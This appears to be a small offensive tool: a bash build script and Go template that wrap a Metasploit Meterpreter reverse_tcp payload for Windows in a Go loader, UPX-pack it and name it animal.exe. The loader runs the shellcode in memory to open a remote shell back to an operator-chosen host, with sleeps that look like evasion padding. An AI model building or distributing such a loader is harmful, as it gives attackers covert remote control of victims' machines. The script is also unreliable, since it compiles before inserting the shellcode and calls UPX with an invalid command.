golang with msf shellcode generator and unpacker

build.sh

#!/bin/bash
#### git clone https://github.com/brimstone/go-shellcode
#### go get github.com/brimstone/go-shellcode


if ! [ -x "$(command -v go)" ]; then
  echo 'Error: Missing golang - apt-get install golang.' >&2
  exit 1
fi
if ! [ -x "$(command -v msfvenom)" ]; then
  echo 'Error: Missing msfvenom - apt-get install metasploit-framework.' >&2
  exit 1
fi
if ! [ -x "$(command -v upx)" ]; then
  echo 'Error: Missing upx - apt-get install upx.' >&2
  exit 1
fi
while getopts h:p: option 
do
 case "${option}"
 in
 p) LPORT=${OPTARG};;
 h) LHOST=${OPTARG};;
 esac
done
if [ -z "$LPORT" ]
then
        echo "[-] Please use -p to specify a port (LPORT)"
        exit
elif [ -z "$LHOST" ]
then
        echo "[-] Please use -h to specify a hostname or ipaddress (LHOST)"
        exit
else
	##Clean up
	rm -rf *.exe
	rm -rf *.tmp
	rm -rf *.go
	#Build and pack
	cp main.skel main.go
	env GOOS=windows GOARCH=amd64 go build
	#get the current directory name
	target=${PWD##*/}.exe
	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -b \x00 -f hex -o sc_hex.tmp
	sed -i "s/ZSHELLCODESHELLCODEZ/$(cat sc_hex.tmp)/"  main.go
	upx compress $target --brute
	mv $target animal.exe
fi

main.skel

package main

import (
	"encoding/hex"
	"fmt"
	shellcode "github.com/brimstone/go-shellcode"
	"os"
	"time"
)

func main() {

	time.Sleep(10)
	sc := "ZSHELLCODESHELLCODEZ"
	sc_bin, err := hex.DecodeString(sc)
	time.Sleep(5)
	if err != nil {
		fmt.Printf("Error decoding arg 1: %s\n", err)
		os.Exit(1)
	}
	shellcode.Run(sc_bin)
	time.Sleep(19)
}